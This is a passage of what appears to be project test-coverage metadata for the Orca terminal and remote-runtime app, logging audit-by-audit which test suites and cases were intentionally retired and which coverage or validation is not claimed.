unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. The direct side-effect-facts selector retains six cases: replay exclusion, live sequence handling, stale disposer ownership, one handoff drain, drain-before-snapshot, and stale replacement-snapshot refusal. Successful current-entry snapshot application is not witnessed by the retained snapshot case. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2162: Reduced inventory-authority source intentionally loses the examples recorded in knownGaps; historical execution is not validation of changed bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove the reasonless-close selector and narrow census aliases to actual retained runtime and injected-inventory callbacks. The removed synthetic census-dedup and isolated pre-boundary timing cases receive no replacement credit; preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Delete the synthetic watcher-synchronization and partial-reconciliation suites. Retire all affected host-fact, capability-owner, activation-residue and retention-cap aliases because the remaining callbacks do not establish those full claims. Keep exact local hook/timer, byte-stream side effects, exit/disposal, scroll-intent cleanup and deterministic local rank/TTL progression callbacks within their mocked-host scope. No physical paired-host retention, resource budget or equivalent replacement evidence is assigned. The generic broad test command remains a runnable discovery command, never a dated execution receipt. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete hook-agent-status projection suite and its two behavioral assertion aliases. Supplied stored hook/title/resume/staleness/rename/question/generation/PTY-retirement/snapshot-version projections are intentionally lost. The separate osc-status-scan gate mentions this source only in existing historical notes and receives no mutation. No measured hidden-output retention, CPU/RSS or resource budget result is claimed by the deleted source or this audit. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Module ownership cleanup retires the modeled cold-park private watcher/render/work-count suites under the current test policy. Their assertions are no longer active evidence. Retained lifecycle tests and headed/headless journeys do not establish equivalent coverage for those removed harness alarms. Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. deletes src/renderer/src/components/terminal-pane/terminal-cold-park-verdict-loop.test.tsx: Loses modeled React oscillation alarm; real pane/watchers are not exercised. deletes src/renderer/src/runtime/remote-runtime-terminal-parse-backpressure.test.ts: Loses delayed credit until parsing, malformed frame/unknown stream handling, discarded transformed output recovery and failed ACK rearm alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): This audit removes the browser response-after-manual-disconnect example. Its distinct in-flight response fencing alarm is lost; retained queued-call disconnect tests are not an equivalent replacement. Historical commands and results remain historical. Deterministic headed macOS runs launch an isolated Orca desktop server and a separate paired web client. A byte-identical headless run uses an isolated `orca serve` host. Both create six real paired host PTYs with bounded high-output scrollback, prove sustained output while all six client xterms are warm-mounted but hidden causes zero renderer scheduler work, then drive 180 timed real-PTY spinner frames through a second production `session.tabs.subscribeAll` transport and the real Zustand store. Each worktree must publish and apply only its exact initial-working and final-idle titles. Both topologies ordinary-park five xterms without enabling the lossy retention budget, assert bounded cells/heap/timer lag, then restore the bounded authoritative tail exactly once on the original PTY including output produced while parked and continued input/output. The headed oracle additionally keeps every remote target workspace and terminal unmounted in the host renderer before and after client recovery. Production-parity React contracts reproduce and remove the independent cold-park watcher/title feedback loop, including memo-cache discard, StrictMode cleanup replay, detached split-PTY replacement, and the zero-park fast path. A deterministic cross-boundary contract drives 24 real PTY trackers in distinct worktrees through 2,880 decorative spinner and bare-native redraw chunks and counts host publications, serialized bytes, renderer apply calls, and store mutations while preserving exact per-PTY raw chunks and per-worktree semantic transitions. Fake-clock continuation beyond the 30-minute stale boundary requires one deduplicated refresh per worktree every 15 minutes, globally spaced by at least 50 ms, with every mirrored working status still fresh. Exact-identical Pi plus rotating normalized Pi/Grok frames renew coarse working/permission state; rich prompt/tool/question fields retain their original 30-minute lease, and `stateStartedAt`/acknowledgement identity remain stable across title/hook source swaps. A separate headed desktop-client journey relaunches the host main process while retaining the daemon and a daemon-backgrounded PTY, then requires first-observation foreground sync and continued input/output on the same PTY. Unit coverage keeps layout versions out of snapshot output high-waters when a restored snapshot has no output sequence and retries an existing subscriber only after authoritative provider inventory proves the retained PTY exists. Separate headed/headless ACK-starvation tests recover one stalled stream without replacing its PTY. A headed output-drop oracle proves a successful snapshot probe cannot certify a stale live stream when the authoritative PTY sequence advanced beyond the client high-water. Unit coverage requires an unsequenced client to establish a first-probe baseline, remain attached at the same sequence, and recover only after a later probe advances. A capability-disabled run proves legacy hosts retain the prior lossy limit/TTL fallback. Unit tests cover exact-owner capability routing, raw-stream release, singleton side-effect facts with timed handoff cleanup, 64 simultaneous synthetic-title sources with zero decorative client events after convergence, per-client late-subscribe recovery, semantic bell/title transitions, local animation-frame preservation, legacy no-output-pause delivery gating with exact snapshot restore, provider-authoritative snapshots, 128 active streams plus retry after a 129th-stream capacity rejection, capacity-pressure backoff, full split-leaf remint reconciliation, truncation, and manual-disconnect queue fencing. Linux, Windows, live SSH, and production-scale paired hosts remain gaps. The audit removed the E2E parking override/debug-handle suite. Override exposure guards, delay/retention independence, TTL filtering and debug-handle forwarding alarms are lost. Retained real parking journeys do not establish equivalent test-harness configuration coverage. The test-value audit removes separate responsive-stream, intervening-control-frame and capacity-error classification examples. Retained multiplexer checks use fake clocks and captured transport callbacks; their per-stream isolation, deadline and probe-baseline assertions do not prove an actual host restart or equivalent replacement coverage. Historical run commands and results remain historical. The test-value audit removes the standalone retained/live metadata projection and additive-preference negative example from runtime-client-events.test.ts. Its remaining case checks partial-authority event admission through a captured callback; it does not establish full-pair projection, actual peer delivery or equivalent replacement coverage. Historical commands and results remain historical. The isolated accepted-handle-events observer suite is removed. Its runtime/worktree/pane membership, once-only delivery and listener-release ledger alarms are lost. Live hidden-retention evidence does not establish equivalent observer coverage. Audit1292: The entire host-session mirror empty-inventory settle suite is removed. Live-unpublished versus genuinely-empty hydration, same-ID revision response/in-flight fencing and cleared-tracking pending-probe invalidation alarms are lost. The singleton store and inventories were mocked; no real host census or resume delivery or equivalent replacement coverage is claimed. Audit1302: src/main/runtime/session-tabs-inventory-publication.test.ts: Keep actual runtime public inventory authority across renderer epochs/resync, fallback, aborts and invalid graph publishers. Remove copied nonempty publication, private scan counters/collector and known-host replacement, fake refresh that performs the restoration itself, environment capability flag, and private resume-store characterization whose fixture supplies reservation/rollback ordering. Lose isolated refresh/churn/receiver/capability and copied-payload wiring alarms; no equivalent replacement. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1346 removes the entire private-state-injected session-tabs rich-status boundary suite. Its stale task/question, neutral-title preservation, owner-change and provider-generation alarms are intentionally lost. Retained real terminal journeys do not establish equivalent replacement coverage. The prior mixed 42-contract execution receipt is historical and must not validate the reduced current selector; fresh validation remains required. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1396: src/renderer/src/components/terminal-pane/terminal-parked-watcher-reconciliation.test.ts reduced. Retire standalone reconcile set output and positive untouchedFreshSpawn/workspaceOwner copying alarms; no native watcher execution claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1402: src/renderer/src/components/terminal-pane/pty-connection-park-reveal-model-snapshot.spec.ts reduced. Loses basic paired serialize/initial replay forwarding check; hidden alt-frame grid/precedence policy remains. No real terminal renderer claim. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/runtime/mobile-session-tabs-agent-status-heartbeat.test.ts reduced. Loses FIFO fairness/spacing, semantic bypass/cancellation, delayed-boundary scheduling and teardown timer-cleanup alarms. Retained fixed emission cases do not replace those outcomes. No equivalent replacement coverage is claimed. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed. Module-layout cleanup: Removed TEST alarms for paired hook/OSC-title heartbeat continuity and freshness, unanswered/authoritative empty-inventory dispatch and sole-writer behavior, legacy-selector resolution, manual-disconnect fencing, queued-disconnect envelopes, storage-rejected host replacement and explicit-loopback SSH persistence. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit7358 retires the entire local parked-memory suite. Intentionally lose disabled-parking mount retention, forced hidden-worktree eviction and last-active exemption, estimated cell release, renderer RSS and eviction-time alarms. The force-park fixture injected fake remote identities into local terminal state; it did not establish actual remote delivery or restoration. Remaining paired restoration selectors and dated receipts keep their original scope and are not equivalent replacements. No fresh gate execution is claimed. Historical prior account preserved verbatim: Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5879 retires the entire cold-parking hook suite and its stale exemption/park-set and unnecessary recomputation alarms. Remaining selectors are not equivalent replacement coverage; unchanged independent dated receipts retain their original scope and do not validate reduced commands. Historical prior account preserved verbatim: Audit5772 companion to audit5768: Retire the whole hidden-view parking policy suite. Direct oldest/cap/TTL/last-active worktree ranking and equal-hidden-time tab activation-order alarms are intentionally lost without equivalent replacement. Narrow one compound unit command and remove the parking testFiles entry. Physical parking/restoration/stream-budget selectors and assertions remain unchanged at their own exact scope; they are not certified as replacements. Complete dated evidenceRuns and unrelated selectors/assertions are unchanged; none selects these retired suites and none validates the narrowed command. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account preserved verbatim below as historical, including any older then-retained coverage claim: Audit5571 removes the entire unrelated-PTY mobile heartbeat callback suite and its active selectors; its bookkeeping alarm is intentionally lost without equivalent replacement or fresh runtime evidence. Fourteen unrelated dated receipts retain their exact original scopes. Historical account follows: Audit5534 removes the whole last-active retention TTL selector suite (one authored/finite case). Its absolute-TTL and inside-boundary alarm is intentionally lost without equivalent replacement or fresh execution. Active command/file selectors drop only that suite; historical receipts remain at their original scope. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. The decorative fanout suite retains only real OSC9999 ingestion through runtime/title heartbeat/viewer past the stale boundary, preserving stateStartedAt and clearing expired prompt metadata. Spinner volume/zero-work inventories, Pi/Grok frame tables, rich-status and foreground-reset examples are retired. Existing receipts for separate paired-terminal sources retain their original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync 